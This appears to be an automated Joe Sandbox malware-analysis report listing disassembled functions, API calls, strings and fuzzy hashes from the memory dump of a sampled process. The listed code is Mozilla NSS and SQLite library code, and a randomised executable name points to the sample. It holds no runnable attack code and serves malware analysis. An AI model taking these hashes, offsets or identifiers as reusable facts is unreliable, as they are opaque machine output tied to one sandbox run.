FC_GetFunctionList, xrefs: 6C62C098
FC_GetInterface, xrefs: 6C62C054
NSS_DISABLE_UNLOAD, xrefs: 6C62C7B0
NSC_GetFunctionList, xrefs: 6C62C093
nss_mod_log, xrefs: 6C62C3CC
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C62C38D
NSS_FORCE_TOKEN_LOCK, xrefs: 6C62C77D
NSC_GetInterface, xrefs: 6C62C04F
PKCS 11, xrefs: 6C62C2F9, 6C62C314
NSS_ReturnModuleSpecData, xrefs: 6C62C275
NSC_ModuleDBFunc, xrefs: 6C62C0FC

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 6a7e0a8781015902b4a739ccb36ad5366bbccec870afd0e0a1fa5446ae209e23
Instruction ID: e0c29985eb76d64f4bb98f6b9031123f2cedd94a1de5b44250e474b806145925
Opcode Fuzzy Hash: 6a7e0a8781015902b4a739ccb36ad5366bbccec870afd0e0a1fa5446ae209e23
Instruction Fuzzy Hash: 1B428FB6A042049FEF00DF54C84AB5B7BB1FB46348F958039D8069BB21EB39D954CF99

Function 6C654840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C63601B,?,00000000,?), ref: 6C65486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C6548A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C6548BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C6548DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C6548F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C65490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C654919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C65493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C654970
PORT_Alloc_Util.NSS3(00000001), ref: 6C6549A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C6549AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6549D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C6549F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C654A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C654A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C654A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C654A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C654A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C654A81
free.MOZGLUE(00000000), ref: 6C654AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C654ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C654ADC
free.MOZGLUE(00000000), ref: 6C654B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C654B33

Part of subcall function 6C654120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65413D
Part of subcall function 6C654120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C654162
Part of subcall function 6C654120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65416B
Part of subcall function 6C654120: PL_strncasecmp.NSS3(2Bel,?,00000001), ref: 6C654187
Part of subcall function 6C654120: NSSUTIL_ArgSkipParameter.NSS3(2Bel), ref: 6C6541A0
Part of subcall function 6C654120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6541B4
Part of subcall function 6C654120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C6541CC
Part of subcall function 6C654120: NSSUTIL_ArgFetchValue.NSS3(2Bel,?), ref: 6C654203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C654B53
free.MOZGLUE(00000000), ref: 6C654B94
free.MOZGLUE(?), ref: 6C654BA7
free.MOZGLUE(00000000), ref: 6C654BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C654BC8

Strings

every, xrefs: 6C654A66
timeout, xrefs: 6C654A38, 6C654A7B
slotFlags, xrefs: 6C654A22
rootFlags, xrefs: 6C654AB9, 6C654B2E
askpw, xrefs: 6C654A4A
hasRootTrust, xrefs: 6C654B4D
hasRootCerts, xrefs: 6C654AD6

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: bef9c77d0404c054f0543e4e9fcaf4097e915d8bf419bf45125a713859232d2e
Instruction ID: 10578fa836d3ca8fd53dbbaaa4edb63b9ef0cfc46bf0b96da7035a522491ecff
Opcode Fuzzy Hash: bef9c77d0404c054f0543e4e9fcaf4097e915d8bf419bf45125a713859232d2e
Instruction Fuzzy Hash: FAC117B4E052565BEB009F689C41BFE7BB8AF0630CF6800A5EC55A7701E7B1D934C7A9

Function 6C616D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C71A8EC,0000006C), ref: 6C616DC6
memcpy.VCRUNTIME140(?,6C71A958,0000006C), ref: 6C616DDB
memcpy.VCRUNTIME140(?,6C71A9C4,00000078), ref: 6C616DF1
memcpy.VCRUNTIME140(?,6C71AA3C,0000006C), ref: 6C616E06
memcpy.VCRUNTIME140(?,6C71AAA8,00000060), ref: 6C616E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C616E38

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C616E76
TlsGetValue.KERNEL32 ref: 6C61726F
EnterCriticalSection.KERNEL32(?), ref: 6C617283

Strings

!, xrefs: 6C617123

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: ce64ac12ad5defe7790b5363665fd5126159e3693e83ad3223d1cda571fd66d3
Instruction ID: d684a6d1d05fe68742636257f9fccae0accf84322ed4c2c9e8387ce52b87b032
Opcode Fuzzy Hash: ce64ac12ad5defe7790b5363665fd5126159e3693e83ad3223d1cda571fd66d3
Instruction Fuzzy Hash: 8C729DB5D092189FDB20DF28CC8879ABBB1EF49305F1441E9D80CA7711EB31AA85CF95

Function 6C583C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C583C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C583D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C583EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C583ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C583F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C584052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C58406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C58410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C58449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C584452, 6C584486, 6C5844EA, 6C584571, 6C584580, 6C58458F, 6C58475A, 6C5847FA
%s at line %d of [%.10s], xrefs: 6C584495, 6C5844F9, 6C58459E, 6C584769, 6C584809
database corruption, xrefs: 6C584490, 6C5844F4, 6C584599, 6C584764, 6C584804

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 961ffd0b9282c7cc83362b4ddcff2eb8d877816476e3ce3afb41b5e664cb579d
Instruction ID: d9052cabb3145f28c7cdb5ad1addb81f31c6e6c9fae97b7510895af60b3936e8
Opcode Fuzzy Hash: 961ffd0b9282c7cc83362b4ddcff2eb8d877816476e3ce3afb41b5e664cb579d
Instruction Fuzzy Hash: C382A171A02224CFCB04CF69C990B9EB7F5BF49318F2585A9D905ABB51E731EC42CB91

Function 6C65AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C65ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C65ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C65ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C65AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C65ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65ADF0

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C65B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C65B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65B40C

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 11e48f0a0aacb4804518124917e8fc559c56c1b1799760a2ddc921e0f78131d6
Instruction ID: fcea5f3f4c395e5b1227ddbb77ff86b004b57616d31215dcf0a90d8c815eb4d1
Opcode Fuzzy Hash: 11e48f0a0aacb4804518124917e8fc559c56c1b1799760a2ddc921e0f78131d6
Instruction Fuzzy Hash: CE22CF71904301AFE710CF14CC41BAA77E1AF8530CF64852CE9595B7A2E772E869CB9E

Function 6C5DECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C5DED38

Part of subcall function 6C574F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C574FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C5DEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C5DEFE4

Part of subcall function 6C69DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C575001,?,00000003,00000000), ref: 6C69DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C5DF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C5DF129
sqlite3_mprintf.NSS3(optimize), ref: 6C5DF1D1
sqlite3_free.NSS3(?), ref: 6C5DF368

Strings

fts3_tokenizer, xrefs: 6C5DEE1A, 6C5DEEA8
fts4, xrefs: 6C5DF2AD
fts4aux, xrefs: 6C5DECF9
offsets, xrefs: 6C5DEFAF, 6C5DEFDF, 6C5DF01F
matchinfo, xrefs: 6C5DF04F, 6C5DF082, 6C5DF0C2, 6C5DF0F2, 6C5DF124, 6C5DF169
optimize, xrefs: 6C5DF199, 6C5DF1CC, 6C5DF211
simple, xrefs: 6C5DED79
snippet, xrefs: 6C5DEF05, 6C5DEF37, 6C5DEF7C
fts3tokenize, xrefs: 6C5DF30F
porter, xrefs: 6C5DED97
unicode61, xrefs: 6C5DEDB5
fts3, xrefs: 6C5DF247

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 3606a0017a0f74df69d483c51960287a0fc62730564afbf1ac70254abc098ed9
Instruction ID: e9c198df47b7b23266db8e690d528e6dbea2d13cefc12a62dc59eae19850fbd0
Opcode Fuzzy Hash: 3606a0017a0f74df69d483c51960287a0fc62730564afbf1ac70254abc098ed9
Instruction Fuzzy Hash: 4302F471B043018BE7049F799C8572B76B1BBC571CF2A863DD85A87B00EB74F8468796

Function 6C657C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C657C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C657C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C657D1E

Part of subcall function 6C657870: SECOID_FindOID_Util.NSS3(?,?,?,6C6591C5), ref: 6C65788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C657D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C657D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C657DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C657DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C657DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C657E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C657E58

Part of subcall function 6C657870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6591C5), ref: 6C6578BB
Part of subcall function 6C657870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6591C5), ref: 6C6578FA
Part of subcall function 6C657870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6591C5), ref: 6C657930
Part of subcall function 6C657870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6591C5), ref: 6C657951
Part of subcall function 6C657870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C657964
Part of subcall function 6C657870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C65797A
Part of subcall function 6C657870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C657988
Part of subcall function 6C657870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C657998
Part of subcall function 6C657870: free.MOZGLUE(00000000), ref: 6C6579A7
Part of subcall function 6C657870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6591C5), ref: 6C6579BB
Part of subcall function 6C657870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6591C5), ref: 6C6579CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C657E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C657F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C657F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C657FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C658038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C658050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C658093
SECOID_FindOID_Util.NSS3 ref: 6C657F29

Part of subcall function 6C6507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C5F8298,?,?,?,6C5EFCE5,?), ref: 6C6507BF
Part of subcall function 6C6507B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6507E6
Part of subcall function 6C6507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C65081B
Part of subcall function 6C6507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C650825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C658072
SECOID_FindOID_Util.NSS3 ref: 6C6580F5

Part of subcall function 6C65BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C65800A,00000000,?,00000000,?), ref: 6C65BC3F

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 654a7558417c44f4aab8d0d3bce71057a134c7dbec42637c5fbde1de550333dd
Instruction ID: 69d5407e03f5feeae45eae9c129f8d59cf3f9f7cca4a7fc5ca54aaa80823f9e0
Opcode Fuzzy Hash: 654a7558417c44f4aab8d0d3bce71057a134c7dbec42637c5fbde1de550333dd
Instruction Fuzzy Hash: B3E1B4716143019FD700CF28DC40B5B77E5AF49308FA4892DE98A9BB61E732EC25CB5A

Function 6C5E1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C5E1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C5E1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C5E1CA1
GetLengthSid.ADVAPI32(?), ref: 6C5E1CA9
malloc.MOZGLUE(00000000), ref: 6C5E1CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C5E1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C5E1CE4
GetLengthSid.ADVAPI32(?), ref: 6C5E1CEC
malloc.MOZGLUE(00000000), ref: 6C5E1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C5E1D0F
CloseHandle.KERNEL32(?), ref: 6C5E1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C5E1D4D
GetLastError.KERNEL32 ref: 6C5E1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C5E1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C5E1D7A

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 4d41ef169d824cad913e0112eaa62d4a667904e0637430470a6bbc0bbd90c872
Instruction ID: 469d91b29e6beb2ba80f0ae48596acce43924cb1f836012542196f1a1b6fa1c3
Opcode Fuzzy Hash: 4d41ef169d824cad913e0112eaa62d4a667904e0637430470a6bbc0bbd90c872
Instruction Fuzzy Hash: 913166B17002189FEF10EF64CD48BAA7BB8FF4A309F04847AF60992151EB315998CF65

Function 6C5EEF40 Relevance: 25.1, APIs: 10, Strings: 4, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5EEF63

Part of subcall function 6C5F87D0: PORT_NewArena_Util.NSS3(00000800,6C5EEF74,00000000), ref: 6C5F87E8
Part of subcall function 6C5F87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C5EEF74,00000000), ref: 6C5F87FD
Part of subcall function 6C5F87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C5F884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C5EF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5EF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C5EF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C5EF374
PL_strcasecmp.NSS3(6C732FD4,?), ref: 6C5EF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C5EF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C5EF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C5EF67D
CERT_DestroyName.NSS3(?), ref: 6C5EF68B

Part of subcall function 6C5F8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C5F8338
Part of subcall function 6C5F8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C5F8364
Part of subcall function 6C5F8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C5F838E
Part of subcall function 6C5F8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F83A5
Part of subcall function 6C5F8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5F83E3

Part of subcall function 6C5F84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C5F84D9
Part of subcall function 6C5F84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C5F8528

Part of subcall function 6C5F8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C5EF599,?,00000000), ref: 6C5F8955

Strings

*, xrefs: 6C5EF3C6
", xrefs: 6C5EF21B
cSRtETnaYkbFKrqgLUfwfAtEh.exeWJtOcSRtETnaYkbFKrqgLUfwfAtEh.exeWJtOcSRtETnaYkbFKrqgLUfwfAtEh.exeWJtOcSRtETnaYkbFKrqgLUfwfAtEh.exeWJtOcSRtETnaYkbFKrqgLUfwfAtEh.exeWJtOcSRtETnaYkbFKrqgLUfwfAtEh.exeWJtOcSRtETnaYkbFKrqgLUfwfAtEh.exeWJtOcSRtETnaYkbFKrq, xrefs: 6C5EEFC1, 6C5EF014, 6C5EF07F, 6C5EF0AD, 6C5EF23A, 6C5EF264, 6C5EF5CC
oid., xrefs: 6C5EF2CF

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

